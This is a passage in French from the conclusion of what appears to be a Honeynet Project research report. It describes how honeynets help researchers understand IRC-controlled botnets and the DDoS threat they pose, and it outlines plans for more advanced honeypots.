A l'heure actuelle drone et mwcollect2 n'ont pas encore été rendu public, car ils sont considérés en version bêta et sont encore en cours de développement. Pour plus d'informations, merci de contacter le German Honeynet Project.
Conclusion
Dans ce compte-rendu nous avons essayé de montrer comment des honeynets peuvent nous aider à comprendre la façon dont les botnets fonctionnent, la menace qu'ils représentent et comment les attaquants les contrôlent. Nos recherches montrent que certains attaquants sont hautement compétents et organisés, et appartiennent probablement à des organisations criminelles structurées. En s'appuyant sur la puissance de plusieurs milliers de bots il est possible de faire tomber instantanément quasiment n'importe quel site web ou réseau. Même dans des mains malhabiles, il est évident que les botnets sont une arme redoutable. Les botnets étant une telle menace, nous avons besoins de tout un ensemble de mécanismes pour les contrer.
Des fournisseurs d'accès décentralisés comme Akamai offrent ici une certaine redondance, mais de très grands botnets peuvent aussi mettre en danger cette redondance. Faire tomber Akamai impacterai de très grandes organisations et sociétés, ce qui en fait à priori une cible de grande valeur pour certaines organisations ou certains individus. Nous n'avons pour l'instant pas connaissance de botnets utilisés pour menacer des entités gouvernementales ou militaires, mais rien ne dit que ce ne sera pas le cas à l'avenir.
A l'avenir nous espérons développer des pots de miel plus sophistiqués qui nous aiderons à rassembler des informations sur d'autres menaces comme les botnets. Par exemple des honeypots client, qui interagiront activement dans les réseaux (par exemple en parcourant le web, écoutant les canaux IRC, ou utilisant des réseaux Peer to Peer); ou bien modifier des honeypots de façon à ce qu'ils capturent des maliciels et les envoient à des éditeurs d'anti-virus pour analyse. Comme notre approche actuelle se concentre sur les bots utilisant les IRC pour C&C, ce rapport est axé sur les bots basés sur l'IRC. Nous avons aussi observé d'autres types de bots, mais ils sont rares et actuellement en phase de développement. Dans quelques mois/années de plus en plus de bots utiliseront des C&C non IRC, probablement des communications p2p décentralisées. C'est pourquoi nous avons besoin d'approfondir ce secteur, car les attaquants ne dorment pas. Comme les menaces s'adaptent et changent sans arrêt, la communauté de la sécurité doit faire de même.